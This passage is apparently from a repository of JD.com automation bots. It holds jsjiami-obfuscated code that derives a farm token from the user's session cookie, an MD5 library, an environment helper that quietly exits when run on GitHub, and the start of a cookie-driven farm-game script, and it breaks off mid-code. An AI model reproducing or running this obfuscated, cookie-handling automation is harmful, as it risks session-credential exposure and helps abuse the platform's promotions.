if(_0x435a06&&_0x70e6be['replace'](/[WIeSnSTdXuZbEnD=]/g,'')===_0x435a06){_0x30e78a[_0x4aba1a](_0x39d363);}}_0x30e78a[_0x4aba1a](_0x30e78a[_0x255309]());}return 0x8dbb4;};return _0x40a26e(++_0x12a1c3,_0x4ca71c)>>_0x12a1c3^_0x4ca71c;}(_0x2cf9,0x6e,0x6e00));var _0x5108=function(_0x4dc255,_0x3cb8bc){_0x4dc255=~~'0x'['concat'](_0x4dc255);var _0x2e664b=_0x2cf9[_0x4dc255];if(_0x5108['xFLNEr']===undefined){(function(){var _0xfc2aa4=typeof window!=='undefined'?window:typeof process==='object'&&typeof require==='function'&&typeof global==='object'?global:this;var _0x26458d='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0xfc2aa4['atob']||(_0xfc2aa4['atob']=function(_0x509ed4){var _0x2e5ed8=String(_0x509ed4)['replace'](/=+$/,'');for(var _0x5f2c3c=0x0,_0x5a7e73,_0x42fadc,_0x50b6c7=0x0,_0x2de292='';_0x42fadc=_0x2e5ed8['charAt'](_0x50b6c7++);~_0x42fadc&&(_0x5a7e73=_0x5f2c3c%0x4?_0x5a7e73*0x40+_0x42fadc:_0x42fadc,_0x5f2c3c++%0x4)?_0x2de292+=String['fromCharCode'](0xff&_0x5a7e73>>(-0x2*_0x5f2c3c&0x6)):0x0){_0x42fadc=_0x26458d['indexOf'](_0x42fadc);}return _0x2de292;});}());var _0x503f7f=function(_0x517424,_0x3cb8bc){var _0x5bb1d7=[],_0x204abf=0x0,_0x50c70e,_0x376d53='',_0x19ba11='';_0x517424=atob(_0x517424);for(var _0x2212a4=0x0,_0x34e1ad=_0x517424['length'];_0x2212a4<_0x34e1ad;_0x2212a4++){_0x19ba11+='%'+('00'+_0x517424['charCodeAt'](_0x2212a4)['toString'](0x10))['slice'](-0x2);}_0x517424=decodeURIComponent(_0x19ba11);for(var _0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x5bb1d7[_0x5372ab]=_0x5372ab;}for(_0x5372ab=0x0;_0x5372ab<0x100;_0x5372ab++){_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab]+_0x3cb8bc['charCodeAt'](_0x5372ab%_0x3cb8bc['length']))%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;}_0x5372ab=0x0;_0x204abf=0x0;for(var _0x30875f=0x0;_0x30875f<_0x517424['length'];_0x30875f++){_0x5372ab=(_0x5372ab+0x1)%0x100;_0x204abf=(_0x204abf+_0x5bb1d7[_0x5372ab])%0x100;_0x50c70e=_0x5bb1d7[_0x5372ab];_0x5bb1d7[_0x5372ab]=_0x5bb1d7[_0x204abf];_0x5bb1d7[_0x204abf]=_0x50c70e;_0x376d53+=String['fromCharCode'](_0x517424['charCodeAt'](_0x30875f)^_0x5bb1d7[(_0x5bb1d7[_0x5372ab]+_0x5bb1d7[_0x204abf])%0x100]);}return _0x376d53;};_0x5108['NgRmMn']=_0x503f7f;_0x5108['CiKmfm']={};_0x5108['xFLNEr']=!![];}var _0x15f777=_0x5108['CiKmfm'][_0x4dc255];if(_0x15f777===undefined){if(_0x5108['GhDaFS']===undefined){_0x5108['GhDaFS']=!![];}_0x2e664b=_0x5108['NgRmMn'](_0x2e664b,_0x3cb8bc);_0x5108['CiKmfm'][_0x4dc255]=_0x2e664b;}else{_0x2e664b=_0x15f777;}return _0x2e664b;};function getJxToken(){var _0x3565bd={'AShns':_0x5108('0','U*Pv'),'ehytr':function(_0x50bf17,_0x53078a){return _0x50bf17<_0x53078a;},'GoCYd':function(_0x136745,_0x5686db){return _0x136745(_0x5686db);},'xUqbe':function(_0x1ea9c8,_0x5b6c4e){return _0x1ea9c8*_0x5b6c4e;}};function _0x23cb77(_0x378208){let _0x36ad34=_0x3565bd[_0x5108('1','cqej')];let _0x3ba0b7='';for(let _0x24b162=0x0;_0x3565bd[_0x5108('2','1#C#')](_0x24b162,_0x378208);_0x24b162++){_0x3ba0b7+=_0x36ad34[_0x3565bd[_0x5108('3','Hq%O')](parseInt,_0x3565bd[_0x5108('4','U*Pv')](Math['random'](),_0x36ad34[_0x5108('5','8QnT')]))];}return _0x3ba0b7;}return new Promise(_0x2ef875=>{let _0x9ac908=_0x3565bd[_0x5108('6','x)1A')](_0x23cb77,0x28);let _0x256650=(+new Date())[_0x5108('7','U*Pv')]();if(!cookie[_0x5108('8','8QnT')](/pt_pin=([^; ]+)(?=;?)/)){console['log'](_0x5108('9','Hq%O'));_0x3565bd['GoCYd'](_0x2ef875,null);}let _0x4e1006=cookie[_0x5108('a','8#od')](/pt_pin=([^; ]+)(?=;?)/)[0x1];let _0x57bff6=$['md5'](''+decodeURIComponent(_0x4e1006)+_0x256650+_0x9ac908+'tPOamqCuk9NLgVPAljUyIHcPRmKlVxDy')[_0x5108('b',']OsH')]();_0x3565bd['GoCYd'](_0x2ef875,{'timestamp':_0x256650,'phoneid':_0x9ac908,'farm_jstoken':_0x57bff6});});};_0xod8='jsjiami.com.v6'; +!function(n){"use strict";function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255);return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1)u[r]=909522486^o[r],c[r]=1549556828^o[r];return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t);return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/backUp/jd_jxnc.js b/backUp/jd_jxnc.js new file mode 100644 index 0000000..be1386f --- /dev/null +++ b/backUp/jd_jxnc.js @@ -0,0 +1,875 @@ +/* +特别声明: +本脚本搬运自 https://github.com/whyour/hundun/blob/master/quanx/jx_nc.js +感谢 @whyour 大佬 + +无需京喜token,只需京东cookie即可. + +京喜农场:脚本更新地址 jd_jxnc.js +更新时间:2021-06-3 +活动入口:京喜APP我的-京喜农场 +东东农场活动链接:https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2 +已支持IOS,Node.js支持N个京东账号 +理论上脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +助力码shareCode请先手动运行脚本查看打印可看到 + +==========================Quantumultx========================= +[task_local] +0 9,12,18 * * * jd_jxnc.js, tag=京喜农场, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jxnc.png, enabled=true +=========================Loon============================= +[Script] +cron "0 9,12,18 * * *" script-path=jd_jxnc.js,tag=京喜农场 + +=========================Surge============================ +京喜农场 = type=cron,cronexp="0 9,12,18 * * *",timeout=3600,script-path=jd_jxnc.js + +=========================小火箭=========================== +京喜农场 = type=cron,script-path=jd_jxnc.js, cronexpr="0 9,12,18 * * *", timeout=3600, enable=true +*/ + +const $ = new Env('京喜农场'); +let notify = ''; // nodejs 发送通知脚本 +let notifyLevel = $.isNode() ? process.env.JXNC_NOTIFY_LEVEL || 1 : 1; // 通知级别 0=只通知成熟;1=本次获得水滴>0;2=任务执行;3=任务执行+未种植种子; +let notifyBool = true; // 代码内部使用,控制是否通知 +let cookieArr = []; // 用户 cookie 数组 +let currentCookie = ''; // 当前用户 cookie +let tokenNull = {'farm_jstoken': '', 'phoneid': '', 'timestamp': ''}; // 内置一份空的 token +let tokenArr = []; // 用户 token 数组 +let currentToken = {}; // 当前用户 token +let shareCode = ''; // 内置助力码 +let jxncShareCodeArr = []; // 用户 助力码 数组 +let currentShareCode = []; // 当前用户 要助力的助力码 +const openUrl = `openjd://virtual?params=${encodeURIComponent('{ "category": "jump", "des": "m", "url": "https://wqsh.jd.com/sns/201912/12/jxnc/detail.html?ptag=7155.9.32&smp=b47f4790d7b2a024e75279f55f6249b9&active=jdnc_1_chelizi1205_2"}',)}`; // 打开京喜农场 +let subTitle = '', message = '', option = {'open-url': openUrl}; // 消息副标题,消息正文,消息扩展参数 +const JXNC_API_HOST = 'https://wq.jd.com/'; +let allMessage = ''; +$.detail = []; // 今日明细列表 +$.helpTask = null; +$.allTask = []; // 任务列表 +$.info = {}; // 用户信息 +$.answer = 3; +$.drip = 0; +$.appId = 10016; +let UA; + +!function (t, r) { "object" == typeof exports ? module.exports = exports = r() : "function" == typeof define && define.amd ? define([], r) : t.CryptoJS = r() }(this, function () { + var t = t || function (t, r) { var e = Object.create || function () { function t() { } return function (r) { var e; return t.prototype = r, e = new t, t.prototype = null, e } }(), i = {}, n = i.lib = {}, o = n.Base = function () { return { extend: function (t) { var r = e(this); return t && r.mixIn(t), r.hasOwnProperty("init") && this.init !== r.init || (r.init = function () { r.$super.init.apply(this, arguments) }), r.init.prototype = r, r.$super = this, r }, create: function () { var t = this.extend(); return t.init.apply(t, arguments), t }, init: function () { }, mixIn: function (t) { for (var r in t) t.hasOwnProperty(r) && (this[r] = t[r]); t.hasOwnProperty("toString") && (this.toString = t.toString) }, clone: function () { return this.init.prototype.extend(this) } } }(), s = n.WordArray = o.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 4 * t.length }, toString: function (t) { return (t || c).stringify(this) }, concat: function (t) { var r = this.words, e = t.words, i = this.sigBytes, n = t.sigBytes; if (this.clamp(), i % 4) for (var o = 0; o < n; o++) { var s = e[o >>> 2] >>> 24 - o % 4 * 8 & 255; r[i + o >>> 2] |= s << 24 - (i + o) % 4 * 8 } else for (var o = 0; o < n; o += 4)r[i + o >>> 2] = e[o >>> 2]; return this.sigBytes += n, this }, clamp: function () { var r = this.words, e = this.sigBytes; r[e >>> 2] &= 4294967295 << 32 - e % 4 * 8, r.length = t.ceil(e / 4) }, clone: function () { var t = o.clone.call(this); return t.words = this.words.slice(0), t }, random: function (r) { for (var e, i = [], n = function (r) { var r = r, e = 987654321, i = 4294967295; return function () { e = 36969 * (65535 & e) + (e >> 16) & i, r = 18e3 * (65535 & r) + (r >> 16) & i; var n = (e << 16) + r & i; return n /= 4294967296, n += .5, n * (t.random() > .5 ? 1 : -1) } }, o = 0; o < r; o += 4) { var a = n(4294967296 * (e || t.random())); e = 987654071 * a(), i.push(4294967296 * a() | 0) } return new s.init(i, r) } }), a = i.enc = {}, c = a.Hex = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push((o >>> 4).toString(16)), i.push((15 & o).toString(16)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i += 2)e[i >>> 3] |= parseInt(t.substr(i, 2), 16) << 24 - i % 8 * 4; return new s.init(e, r / 2) } }, h = a.Latin1 = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n++) { var o = r[n >>> 2] >>> 24 - n % 4 * 8 & 255; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 2] |= (255 & t.charCodeAt(i)) << 24 - i % 4 * 8; return new s.init(e, r) } }, l = a.Utf8 = { stringify: function (t) { try { return decodeURIComponent(escape(h.stringify(t))) } catch (t) { throw new Error("Malformed UTF-8 data") } }, parse: function (t) { return h.parse(unescape(encodeURIComponent(t))) } }, f = n.BufferedBlockAlgorithm = o.extend({ reset: function () { this._data = new s.init, this._nDataBytes = 0 }, _append: function (t) { "string" == typeof t && (t = l.parse(t)), this._data.concat(t), this._nDataBytes += t.sigBytes }, _process: function (r) { var e = this._data, i = e.words, n = e.sigBytes, o = this.blockSize, a = 4 * o, c = n / a; c = r ? t.ceil(c) : t.max((0 | c) - this._minBufferSize, 0); var h = c * o, l = t.min(4 * h, n); if (h) { for (var f = 0; f < h; f += o)this._doProcessBlock(i, f); var u = i.splice(0, h); e.sigBytes -= l } return new s.init(u, l) }, clone: function () { var t = o.clone.call(this); return t._data = this._data.clone(), t }, _minBufferSize: 0 }), u = (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = 